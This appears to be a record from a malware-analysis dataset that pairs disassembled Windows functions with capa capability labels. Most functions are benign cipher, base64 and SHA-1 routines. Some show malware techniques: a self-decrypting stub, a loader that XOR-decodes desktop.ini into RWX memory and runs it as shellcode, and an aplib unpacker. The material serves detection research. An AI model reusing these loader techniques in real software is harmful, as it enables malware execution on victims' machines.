joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c4eb0
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
jmp 0x4c4ec0
mov cx, word [eax + 8]
mov edx, dword [eax]
or cx, 2
movzx ecx, cx
mov esi, ecx
xor esi, 1
imul esi, ecx
movsx ecx, byte [edi + ebx + 0x10]
sar esi, 8
xor esi, ecx
mov ecx, dword [edi + 0x80014]
xor esi, edx
shr edx, 8
and esi, 0xff
mov ecx, dword [ecx + esi*4]
mov esi, dword [eax + 8]
xor ecx, edx
movzx edx, cl
add edx, dword [eax + 4]
mov dword [eax], ecx
imul edx, edx, 0x8088405
inc edx
mov dword [eax + 4], edx
mov ecx, dword [edi + 0x80014]
sar edx, 0x18
xor edx, esi
and edx, 0xff
shr esi, 8
xor esi, dword [ecx + edx*4]
inc ebx
cmp ebx, 0xb
mov dword [eax + 8], esi
jl 0x4c4ec0
mov dx, si
or dx, 2
movzx ecx, dx
mov esi, dword [eax]
mov ebx, dword [edi + 0x80014]
movzx edx, cx
mov ecx, edx
xor ecx, 1
imul ecx, edx
sar ecx, 8
xor cl, byte [edi + 0x1b]
movsx edx, cl
xor edx, esi
and edx, 0xff
mov edx, dword [ebx + edx*4]
shr esi, 8
xor edx, esi
mov esi, dword [eax + 8]
mov dword [eax], edx
movzx edx, dl
add edx, dword [eax + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [eax + 4], edx
mov edi, dword [edi + 0x80014]
sar edx, 0x18
xor edx, esi
shr esi, 8
and edx, 0xff
xor esi, dword [edi + edx*4]
pop edi
mov dword [eax + 8], esi
mov eax, dword [esp + 0xc]
test byte [eax + 8], 8
pop esi
pop ebx
je 0x4c4fab
mov al, byte [eax + 0xd]
xor edx, edx
cmp cl, al
sete dl
mov al, dl
ret 8
mov al, byte [eax + 0x13]
xor edx, edx
cmp cl, al
sete dl
mov al, dl
ret 8

Function at 0x4c4fc0
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
push ebp
push edi
xor edi, edi
cmp dword [esp + 0x14], edi
mov ebp, ecx
jle 0x4c504e
push ebx
mov ebx, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x14]
lea ebx, [ebx]
mov ax, word [esi + 8]
or ax, 2
movzx eax, ax
mov ecx, eax
xor ecx, 1
imul ecx, eax
sar ecx, 8
xor byte [edi + ebx], cl
mov cl, byte [edi + ebx]
mov eax, dword [esi]
movsx edx, cl
mov ecx, dword [ebp + 0x80014]
xor edx, eax
shr eax, 8
and edx, 0xff
mov edx, dword [ecx + edx*4]
xor edx, eax
movzx eax, dl
add eax, dword [esi + 4]
mov dword [esi], edx
mov edx, dword [esi + 8]
imul eax, eax, 0x8088405
inc eax
mov dword [esi + 4], eax
mov ecx, dword [ebp + 0x80014]
sar eax, 0x18
xor eax, edx
and eax, 0xff
shr edx, 8
xor edx, dword [ecx + eax*4]
inc edi
cmp edi, dword [esp + 0x1c]
mov dword [esi + 8], edx
jl 0x4c4fe0
pop esi
pop ebx
pop edi
pop ebp
ret 0x10
Function at 0x4c9870
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x50d3c3
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x806d00]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0xc], esi
mov ecx, dword [esi + 0x30]
add ecx, 8
mov dword [esp + 0x18], 2
call dword [0x6abbf0]
mov edi, dword [0x6ab334]
test al, al
jne 0x4c98c1
mov ecx, dword [esi + 0x30]
push 0x4c9660
call edi
mov ecx, dword [esi + 0x2c]
add ecx, 8
mov byte [esp + 0x18], 1
call dword [0x6abbf0]
test al, al
jne 0x4c98e0
mov ecx, dword [esi + 0x2c]
push 0x4c9660
call edi
lea ecx, [esi + 0x14]
mov byte [esp + 0x18], 0
call dword [0x6abc18]
lea ecx, [esi + 0xc]
mov dword [esp + 0x18], 0xffffffff
call dword [0x6abc18]
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x10
ret
Function at 0x4ca710
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x50d629
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
push esi
push edi
mov eax, dword [0x806d00]
xor eax, esp
push eax
lea eax, [esp + 0x68]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [esi + 8]
lea ecx, [esp + 0xc]
mov dword [edi + 0x30], 0
call dword [0x6abba8]
mov ecx, dword [edi]
push eax
mov dword [esp + 0x74], 0
call dword [0x6ab350]
lea ecx, [esp + 0xc]
mov dword [esp + 0x70], 0xffffffff
call dword [0x6abc18]
mov eax, dword [esi + 8]
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x4ca7d3
call fcn.004c9100
cmp eax, 1
jne 0x4ca7d3
mov edx, dword [esi + 8]
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x28]
push ecx
mov ecx, dword [edx + 4]
call fcn.004c9140
push eax
call fcn.004cc240
mov ecx, dword [esi + 8]
add esp, 0x20
push eax
call fcn.004ca630
mov eax, dword [esi + 8]
cmp dword [eax + 0x30], 0
jne 0x4ca7d3
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
mov ecx, dword [esp + 0x68]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x68
ret
or eax, 0xffffffff
or edx, eax
mov ecx, dword [esp + 0x68]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x68
ret
push 0xffffffffffffffff
push 0x50d629
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
push esi
push edi
mov eax, dword [0x806d00]
xor eax, esp
push eax
lea eax, [esp + 0x68]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [esi + 8]
lea ecx, [esp + 0xc]
mov dword [edi + 0x30], 0
call dword [0x6abba8]
mov ecx, dword [edi]
push eax
mov dword [esp + 0x74], 0
call dword [0x6ab350]
lea ecx, [esp + 0xc]
mov dword [esp + 0x70], 0xffffffff
call dword [0x6abc18]
mov eax, dword [esi + 8]
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x4ca8b3
call fcn.004c9100
cmp eax, 1
jne 0x4ca8b3
mov edx, dword [esi + 8]
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x28]
push ecx
mov ecx, dword [edx + 4]
call fcn.004c9140
push eax
call fcn.004cc240
mov ecx, dword [esi + 8]
add esp, 0x20
push eax
call fcn.004ca630
mov eax, dword [esi + 8]
cmp dword [eax + 0x30], 0
jne 0x4ca8b3
mov eax, dword [esp + 0x30]
mov edx, dword [esp + 0x34]
mov ecx, dword [esp + 0x68]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x68
ret
or eax, 0xffffffff
or edx, eax
mov ecx, dword [esp + 0x68]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x68
ret
push ecx
push esi
mov esi, ecx
call dword [0x6ab408]
test al, al
jne 0x4cb134
push str.QuaZipFile::atEnd__:_file_is_not_open
call dword [0x6ab384]
add esp, 4
or eax, 0xffffffff
or edx, eax
pop esi
pop ecx
ret
lea eax, [esp + 4]
push eax
mov ecx, esi
call dword [0x6ab380]
test byte [eax], 1
je 0x4cb162
mov ecx, dword [esi + 8]
cmp byte [ecx + 0x10], 0
mov ecx, esi
pop esi
je 0x4cb15a
add esp, 4
jmp 0x4ca710
add esp, 4
jmp 0x4ca7f0
mov esi, dword [esi + 8]
mov eax, dword [esi + 0x18]
mov edx, dword [esi + 0x1c]
pop esi
pop ecx
ret
Function at 0x4ca7f0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x50d629
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
push esi
push edi
mov eax, dword [0x806d00]
xor eax, esp
push eax
lea eax, [esp + 0x68]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [esi + 8]
lea ecx, [esp + 0xc]
mov dword [edi + 0x30], 0
call dword [0x6abba8]
mov ecx, dword [edi]
push eax
mov dword [esp + 0x74], 0
call dword [0x6ab350]
lea ecx, [esp + 0xc]
mov dword [esp + 0x70], 0xffffffff
call dword [0x6abc18]
mov eax, dword [esi + 8]
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x4ca7d3
call fcn.004c9100
cmp eax, 1
jne 0x4ca7d3
mov edx, dword [esi + 8]
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x28]
push ecx
mov ecx, dword [edx + 4]
call fcn.004c9140
push eax
call fcn.004cc240
mov ecx, dword [esi + 8]
add esp, 0x20
push eax
call fcn.004ca630
mov eax, dword [esi + 8]
cmp dword [eax + 0x30], 0
jne 0x4ca7d3
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
mov ecx, dword [esp + 0x68]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x68
ret
or eax, 0xffffffff
or edx, eax
mov ecx, dword [esp + 0x68]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x68
ret
push 0xffffffffffffffff
push 0x50d629
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
push esi
push edi
mov eax, dword [0x806d00]
xor eax, esp
push eax
lea eax, [esp + 0x68]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [esi + 8]
lea ecx, [esp + 0xc]
mov dword [edi + 0x30], 0
call dword [0x6abba8]
mov ecx, dword [edi]
push eax
mov dword [esp + 0x74], 0
call dword [0x6ab350]
lea ecx, [esp + 0xc]
mov dword [esp + 0x70], 0xffffffff
call dword [0x6abc18]
mov eax, dword [esi + 8]
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x4ca8b3
call fcn.004c9100
cmp eax, 1
jne 0x4ca8b3
mov edx, dword [esi + 8]
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x28]
push ecx
mov ecx, dword [edx + 4]
call fcn.004c9140
push eax
call fcn.004cc240
mov ecx, dword [esi + 8]
add esp, 0x20
push eax
call fcn.004ca630
mov eax, dword [esi + 8]
cmp dword [eax + 0x30], 0
jne 0x4ca8b3
mov eax, dword [esp + 0x30]
mov edx, dword [esp + 0x34]
mov ecx, dword [esp + 0x68]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x68
ret
or eax, 0xffffffff
or edx, eax
mov ecx, dword [esp + 0x68]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x68
ret
push ecx
push esi
mov esi, ecx
call dword [0x6ab408]
test al, al
jne 0x4cb134
push str.QuaZipFile::atEnd__:_file_is_not_open
call dword [0x6ab384]
add esp, 4
or eax, 0xffffffff
or edx, eax
pop esi
pop ecx
ret
lea eax, [esp + 4]
push eax
mov ecx, esi
call dword [0x6ab380]
test byte [eax], 1
je 0x4cb162
mov ecx, dword [esi + 8]
cmp byte [ecx + 0x10], 0
mov ecx, esi
pop esi
je 0x4cb15a
add esp, 4
jmp 0x4ca710
add esp, 4
jmp 0x4ca7f0
mov esi, dword [esi + 8]
mov eax, dword [esi + 0x18]
mov edx, dword [esi + 0x1c]
pop esi
pop ecx
ret
Function at 0x4caa50
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x50d689
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x806d00]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov esi, ecx
lea ecx, [esp + 8]
mov dword [esi + 0x30], 0
call dword [0x6abba8]
mov ecx, dword [esi]
push eax
mov dword [esp + 0x18], 0
call dword [0x6ab350]
lea ecx, [esp + 8]
mov dword [esp + 0x14], 0xffffffff
call dword [0x6abc18]
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret

Function at 0x4cb5c0
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov ecx, dword [esi]
mov edx, ecx
xor edx, eax
shr ecx, 8
and edx, 0xff
mov edx, dword [edi + edx*4]
xor edx, ecx
movzx ecx, dl
add ecx, dword [esi + 4]
mov dword [esi], edx
mov edx, dword [esi + 8]
imul ecx, ecx, 0x8088405
inc ecx
mov dword [esi + 4], ecx
shr ecx, 0x18
xor ecx, edx
and ecx, 0xff
shr edx, 8
xor edx, dword [edi + ecx*4]
mov dword [esi + 8], edx
ret
Function at 0x4cd370
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
push esi
mov esi, eax
mov dword [edx], 0x12345678
mov dword [edx + 4], 0x23456789
mov dword [edx + 8], 0x34567890
mov cl, byte [esi]
test cl, cl
je 0x4cd3d4
lea ecx, [ecx]
mov eax, dword [edx]
movsx ecx, cl
xor ecx, eax
and ecx, 0xff
mov ecx, dword [edi + ecx*4]
shr eax, 8
xor ecx, eax
movzx eax, cl
add eax, dword [edx + 4]
mov dword [edx], ecx
mov ecx, dword [edx + 8]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [edi + eax*4]
inc esi
mov dword [edx + 8], ecx
mov cl, byte [esi]
test cl, cl
jne 0x4cd390
pop esi
ret

Function at 0x4cee80
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
push ecx
push ebx
xor ebx, ebx
push edi
mov dword [esp + 8], ebx
cmp dword [esi + 0x100ac], ebx
je 0x4cef2f
cmp dword [esi + 0x7c], ebx
jbe 0x4cef2f
push ebp
mov ebp, 0xffffff5c
lea edi, [esi + 0xa4]
sub ebp, esi
lea esp, [esp]
movzx ecx, byte [edi]
mov eax, dword [esi + 0x100d0]
mov ebx, dword [esi + 0x100dc]
xor ecx, eax
mov edx, dword [esi + 0x100d8]
shr eax, 8
and ecx, 0xff
mov ecx, dword [ebx + ecx*4]
xor ecx, eax
movzx eax, cl
add eax, dword [esi + 0x100d4]
mov dword [esi + 0x100d0], ecx
mov ecx, dword [esi + 0x100d8]
imul eax, eax, 0x8088405
inc eax
mov dword [esi + 0x100d4], eax
shr eax, 0x18
xor eax, ecx
and eax, 0xff
and edx, 0xfffd
shr ecx, 8
xor ecx, dword [ebx + eax*4]
or edx, 2
mov eax, edx
xor eax, 1
imul eax, edx
mov dword [esi + 0x100d8], ecx
shr eax, 8
xor byte [edi], al
inc edi
lea ecx, [edi + ebp]
cmp ecx, dword [esi + 0x7c]
jb 0x4ceeb0
xor ebx, ebx
pop ebp
mov edi, dword [esi + 0x7c]
mov ecx, dword [esi + 0x30]
mov edx, edi
push edx
mov edx, dword [esi + 0x1c]
lea eax, [esi + 0xa4]
push eax
mov eax, dword [esi + 8]
push ecx
push edx
call eax
add esp, 0x10
cmp eax, edi
je 0x4cef58
mov dword [esp + 8], 0xffffffff
add dword [esi + 0x100c0], edi
mov ecx, dword [esi + 0x48]
mov eax, dword [esp + 8]
adc dword [esi + 0x100c4], ebx
add dword [esi + 0x100c8], ecx
pop edi
mov dword [esi + 0x48], ebx
adc dword [esi + 0x100cc], ebx
mov dword [esi + 0x7c], ebx
pop ebx
pop ecx
ret
Function at 0x817070
Capabilities:
Encode data using xor

Disassembly:
jmp ?customEvent@QObject@@MAEXPAVQEvent@@@Z
push 0xa2d6182d
call fcn.00a17328
inc esp
and byte [ecx - 0xc7f4d04], bl
cmp bl, bh
dec esp
xchg esi, eax
wait
add al, 0x71
xor eax, 0xe54bfc2f
cwde
dec ecx
sti
push cs
or bh, bl
pop esp
add edi, dword [ecx]
sub ebx, edx
mov word [ebx + ebp], es
dec ebp
cmp al, 0xa8
cld
test al, 0xfc
xor dh, bh
loop 0xb4c05c
sti
imul edx, dword [ebx - 0x6efc0682], 0x40a77cb
out dx, eax
lds edx, [ebx]
sti
fdivr qword [ebx - 0x56]
pop es
invalid

Function at 0x819090
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
sub esp, 0x4c
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x81919c
test eax, eax
je 0x81919c
push esi
push edi
mov ecx, 0x10
mov esi, 0x832f88
lea edi, [ebp - 0x4c]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp + 0x14]
mov esi, dword [esi]
add esi, eax
mov dword [ebp - 8], esi
xor esi, esi
mov dword [ebp - 4], 0
mov ecx, eax
test edx, edx
jbe 0x819183
lea edi, [eax + 4]
jmp 0x8190e7
mov ebx, dword [ebp + 8]
movzx eax, byte [esi + ebx]
inc esi
shl eax, 0x10
cmp esi, edx
jne 0x8190fc
mov dword [ebp - 4], 2
jmp 0x81911d
movzx ebx, byte [esi + ebx]
shl ebx, 8
inc esi
or eax, ebx
cmp esi, edx
jne 0x819113
mov dword [ebp - 4], 1
jmp 0x81911d
mov edx, dword [ebp + 8]
movzx edx, byte [esi + edx]
or eax, edx
inc esi
mov edx, eax
and edx, 0x3f
cmp edi, dword [ebp - 8]
ja 0x819193
mov ebx, eax
shr ebx, 0x12
and ebx, 0x3f
movzx ebx, byte [ebp + ebx - 0x4c]
mov byte [ecx], bl
mov ebx, eax
shr ebx, 0xc
and ebx, 0x3f
movzx ebx, byte [ebp + ebx - 0x4c]
inc ecx
inc edi
mov byte [ecx], bl
mov ebx, dword [ebp - 4]
inc ecx
inc edi
cmp ebx, 1
jbe 0x819156
mov byte [ecx], 0x3d
jmp 0x819162
shr eax, 6
and eax, 0x3f
mov al, byte [ebp + eax - 0x4c]
mov byte [ecx], al
inc ecx
inc edi
test ebx, ebx
jbe 0x81916d
mov byte [ecx], 0x3d
jmp 0x819173
mov dl, byte [ebp + edx - 0x4c]
mov byte [ecx], dl
mov edx, dword [ebp + 0xc]
inc ecx
inc edi
cmp esi, edx
jb 0x8190e4
mov eax, dword [ebp + 0x10]
sub ecx, eax
mov eax, dword [ebp + 0x14]
pop edi
pop esi
mov dword [eax], ecx
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x81cea0
Capabilities:
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb8
cmp byte [ebp + 0x10], 0
push ebx
jne 0x81cec4
mov ebx, dword [ebp + 8]
push eax
call fcn.0081c3c0
test al, al
jne 0x81cec4
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov ebx, dword [ebp + 0xc]
mov eax, ebx
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x81ced0
push esi
sub eax, edx
mov esi, eax
push edi
push esi
mov dword [ebp + 0xc], esi
call fcn.00822f04
lea ecx, [ebp + 0xc]
push ecx
mov edi, eax
push edi
push esi
push ebx
call fcn.008191b0
add esp, 0x14
test al, al
jne 0x81cf0f
push edi
call fcn.008235f4
add esp, 4
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp + 0xc]
xor eax, eax
push edx
push edi
lea esi, [ebp - 0x78]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x28], 0x67452301
mov dword [ebp - 0x24], 0xefcdab89
mov dword [ebp - 0x20], 0x98badcfe
mov dword [ebp - 0x1c], 0x10325476
mov dword [ebp - 0x18], 0xc3d2e1f0
mov byte [ebp - 0x78], al
call fcn.008192c0
cmp byte [ebp - 0x78], 0
jne 0x81cf58
call reloc.QtGui4.dll___1QPalette__QAE_XZ
mov eax, dword [ebp - 0x28]
movzx edx, word [ebp - 0x28]
shr eax, 0x10
rol ax, 8
rol dx, 8
movzx ecx, ax
movzx eax, dx
shl eax, 0x10
or ecx, eax
movzx eax, word [ebp - 0x24]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x24]
shr ecx, 0x10
rol cx, 8
rol ax, 8
movzx edx, cx
movzx ecx, ax
shl ecx, 0x10
or edx, ecx
mov cx, word [ebp - 0x20]
mov dword [ebp - 0x10], edx
mov edx, dword [ebp - 0x20]
shr edx, 0x10
rol dx, 8
rol cx, 8
movzx eax, dx
movzx edx, cx
shl edx, 0x10
or eax, edx
movzx edx, word [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x1c]
shr eax, 0x10
rol ax, 8
rol dx, 8
movzx ecx, ax
movzx eax, dx
shl eax, 0x10
or ecx, eax
movzx eax, word [ebp - 0x18]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0x18]
shr ecx, 0x10
rol cx, 8
movzx edx, cx
rol ax, 8
movzx ecx, ax
shl ecx, 0x10
or edx, ecx
push edi
mov dword [ebp - 4], edx
call fcn.008235f4
lea edx, [ebp + 0xc]
push edx
lea eax, [ebp - 0xb8]
push eax
lea ecx, [ebp - 0x14]
push 0x14
push ecx
mov dword [ebp + 0xc], 0x40
call fcn.00819090
mov bl, byte [ebp + 0x10]
mov edx, dword [ebp + 0xc]
add esp, 0x14
mov byte [ebp + edx - 0xb8], 0
mov eax, 0x8333b8
test bl, bl
jne 0x81d03a
mov eax, 0x8333d0
mov edi, dword [ebp + 8]
push 0
push eax
call fcn.0081c8d0
push 1
lea eax, [ebp - 0xb8]
push eax
call fcn.0081c8d0
test bl, bl
je 0x81d05c
call fcn.0081c9b0
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x9fe0b0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.009fe200
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x9fe0d6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9fe0c2
add dl, dl
jne 0x9fe0e1
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9fe134
xor eax, eax
add dl, dl
jne 0x9fe0ee
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9fe1d5
add dl, dl
jne 0x9fe0fd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9fe108
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9fe113
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9fe11e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x9fe12a
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x9fe0cd
mov eax, 1
add dl, dl
jne 0x9fe142
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9fe14d
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9fe139
sub eax, ebx
mov ebx, 1
jne 0x9fe180
mov ecx, 1
add dl, dl
jne 0x9fe166
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x9fe171
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9fe15d
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x9fe0cd
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x9fe197
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x9fe1a2
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9fe18e
cmp eax, 0x7d00
jae 0x9fe1c5
cmp eax, 0x500
jb 0x9fe1c0
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x9fe0cd
cmp eax, 0x7f
ja 0x9fe1c8
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x9fe0cd
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x9fe1f6
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x9fe0cd
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x414f34
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x415009
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x415024
push ebx
push 0x415034
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.00405370
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00403270
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404f58
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x414fb4
mov al, 0x69
call fcn.00414bac
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.00414f08
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
cmp eax, 1
je 0x414fbd
call fcn.00414f08
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x415010
lea eax, [ebp - 4]
call fcn.00404ebc
ret

Function at 0x415124
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo_1
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x4151ef
jmp 0x4151e3
cmp dword [esi + 0x10], 0x1000
jne 0x4151cf
test byte [esi + 0x15], 1
jne 0x4151cf
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x415180
cmp ebp, 2
je 0x415180
cmp ebp, 0x10
je 0x415180
cmp ebp, 0x20
jne 0x41519c
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x41519c
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4151ad
mov eax, dword [esi]
add eax, ebx
call fcn.0041511c
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4151a0
cmp byte [esp + 4], 0
je 0x4151cf
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x4151ef
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x415155
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x492818
Capabilities:
